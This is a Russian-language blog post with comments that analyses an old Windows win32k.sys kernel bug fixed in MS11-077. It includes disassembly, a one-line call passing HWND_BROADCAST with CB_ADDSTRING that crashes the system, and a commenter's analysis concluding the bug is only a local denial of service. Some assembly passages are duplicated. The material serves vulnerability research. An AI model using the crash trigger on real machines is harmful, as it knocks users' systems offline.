Уязвимость в графической подсистеме windows, в win2k.sys, сидит там с момента выхода windows 2000, т.к. именно в этой версии винды появилась CB_ADDSTRING message и следовательно обработка этой мессаги в ядре, которая имеет в себе баг.
BF91452C ; __stdcall NtUserfnINCBOXSTRING(x, x, x, x, x, x, x)
BF91452C arg_0 = dword ptr 8
BF91452C arg_4 = dword ptr 0Ch
BF91452C arg_8 = dword ptr 10h
BF91452C arg_C = dword ptr 14h
BF91452C arg_10 = dword ptr 18h
BF91452C arg_14 = dword ptr 1Ch
BF91452C arg_18 = dword ptr 20h
BF91452C
BF91452C mov edi, edi
BF91452E push ebp
BF91452F mov ebp, esp
BF914531 mov ecx, [ebp+arg_0] <=== не проверяется на валидность, прилетает переданное значение 0xFFFFFFFF
BF914534 mov eax, [ecx+20h] <=== oops! BSOD
Находится данная ф-ция в табличке и вызывается ф-цией NtUserMessageCall по индексу(
NtUserMessageCall(...):
{
...
BF80EF21 push [ebp+arg_18] ; int
BF80EF24 movzx eax, ds:_MessageTable[eax]
BF80EF2B push ecx ; int
BF80EF2C push [ebp+arg_10] ; int
BF80EF2F and eax, 3Fh
BF80EF32 push [ebp+Address] ; Address
BF80EF35 push [ebp+UnicodeString] ; int
BF80EF38 push [ebp+arg_4] ; int
BF80EF3B push esi ; int
BF80EF3C call ds:_gapfnMessageCall[eax*4]
...
}
BF991428 _gapfnMessageCall:
..,.
BF991494 dd offset _NtUserfnINCBOXSTRING@28 ;
....
Таким образом,
NtUserMessageCall(
или
BF91452C ; __stdcall NtUserfnINCBOXSTRING(x, x, x, x, x, x, x)
BF91452C arg_0 = dword ptr 8
BF91452C arg_4 = dword ptr 0Ch
BF91452C arg_8 = dword ptr 10h
BF91452C arg_C = dword ptr 14h
BF91452C arg_10 = dword ptr 18h
BF91452C arg_14 = dword ptr 1Ch
BF91452C arg_18 = dword ptr 20h
BF91452C
BF91452C mov edi, edi
BF91452E push ebp
BF91452F mov ebp, esp
BF914531 mov ecx, [ebp+arg_0] <=== не проверяется на валидность, прилетает переданное значение 0xFFFFFFFF
BF914534 mov eax, [ecx+20h] <=== oops! BSOD
Находится данная ф-ция в табличке и вызывается ф-цией NtUserMessageCall по индексу(
CB_ADDSTRING = 0x143
):NtUserMessageCall(...):
{
...
BF80EF21 push [ebp+arg_18] ; int
BF80EF24 movzx eax, ds:_MessageTable[eax]
BF80EF2B push ecx ; int
BF80EF2C push [ebp+arg_10] ; int
BF80EF2F and eax, 3Fh
BF80EF32 push [ebp+Address] ; Address
BF80EF35 push [ebp+UnicodeString] ; int
BF80EF38 push [ebp+arg_4] ; int
BF80EF3B push esi ; int
BF80EF3C call ds:_gapfnMessageCall[eax*4]
...
}
BF991428 _gapfnMessageCall:
..,.
BF991494 dd offset _NtUserfnINCBOXSTRING@28 ;
....
Таким образом,
можно поймать BSOD,
вызвав:NtUserMessageCall(
(HWND)-1,CB_ADDSTRING,
0, 0, 0, 0, FALSE );или
SendMessageCallback((HWND)-1,CB_ADDSTRING,0,0,0,0);
Дальнейшая эксплуатация на первый взгляд возможна, для этого нужно создать свой объект HWD в страничке выделенной в UM по нулевому адресу, причем сформировать таким образом, чтобы передалось управление на один из колбеков в этой структуре.
Updated: Crash провел более детальный ресерч(см. комменты) и согласно ресерчу, уязвимость не эксплуатируемая.
Так она ведь даже не эксплуатируемая, local DoS only... Из всей пачки закрытых в MS11-077 CVE-шек ты почему-то выбрал самую унылую.
ОтветитьУдалитьПомоему вполне себе эксплуатируемая, выделяем память по нулевому адресу, формируем объект там, перезаписываем внутренние указатели, ждем или сами инициируем их вызов, получаем управление в ядре. Трудоемко, но выполнимо помоему.
ОтветитьУдалитьТо, как писать эксплойты для NULL pointer dereference -- я таки знаю, но по помотри на win32k!xxx* функции, которые вызываются в процессе обработки сообщения из NtUserfnINCBOXSTRING/NtUserfnINLBOXSTRING -- в них везде есть проверки на HWND_BROADCAST
ОтветитьУдалитьНепонятно про какие проверки речь и как они помогут, если объект контролируется атакующим.
ОтветитьУдалитьДа открой ты отладчик, и сделай нормальный control flow analysis, наконец. Эта уязвимость - не эксплуатируемая, если я не прав, то попробуй взять и написать работающий LPE эксплойт под неё.
ОтветитьУдалитьВсе NtUser* системные вызовы, которые принимают в качестве аргументов
дескриптор окна, проверяют его на валидность, при этом (HWND)(-1) (он же
HWND_BROADCAST) так же считается валидным дескриптором и используется,
например, для отправки оконного сообщения всем окнам window station-а.
Функции, которые вызываются из NtUserMessageCall, ожидают получить на
вход валидный указатель на структуру объекта окна (ведь валидация
происходит в самом NtUserMessageCall), однако, некоторые из них не
ожидают получить вместо валидного указателя HWND_BROADCAST, из-за чего
аварийно завершают работу системы, при попытке интерпретировать
HWND_BROADCAST как указатель на структуру окна.
К таким уязвимым функциям относятся NtUserfnINCBOXSTRING и
NtUserfnСNCBOXSTRING. Далее я буду рассматривать code flow для первой,
поскольку они практически идентичны.
В зависимости от входных параметров из NtUserfnINCBOXSTRING могут быть
вызваны следующие цепочки функций:
1) xxxWrapSendNotifyMessage
2) NtUserfnINSTRINGNULL -> xxxSystemBroadcastMessage
3) NtUserfnINSTRING -> xxxSystemBroadcastMessage
Цепочки, которые заканчиваются на xxxSystemBroadcastMessage -- нам не
интересны, так как эта функция корректно проверяет указатель на окно, и
если он равен HWND_BROADCAST -- то такой указатель просто отбрасывается,
и в дальнейшем иполнении кода графической подсистемы данные, которые
может подсунуть потенциальный атакующий, не участвуют.
Цепочка вызовов, которая начинаяется с xxxWrapSendNotifyMessage,
выглядит следующим образом:
xxxWrapSendNotifyMessage -> xxxSendNotifyMessage ->
xxxSendMessageCallback -> xxxSystemBroadcastMessage
Как видно, она заканчивается на той же самой xxxSystemBroadcastMessage,
которая отбрасывает наш HWND_BROADCAST.
Таким образом, единственное что может сделать атакующий -- это Local DoS
в следствии того, что функция NtUserfnСNCBOXSTRING совершает манипуляции
с указателем на структуру окна, не проверяя этот указатель на
HWND_BROADCAST.
Во всех остальных функциях вызывающихся из NtUserfnСNCBOXSTRING, которые
упоминались выше, корректные проверки на HWND_BROADCAST
присутствуют.
>Да открой ты отладчик, и сделай нормальный >control flow analysis, наконец.
ОтветитьУдалитьМой интерес к ней давно потерян, увы.
>Эта уязвимость - не эксплуатируемая
ok
Спасибо за ресерч.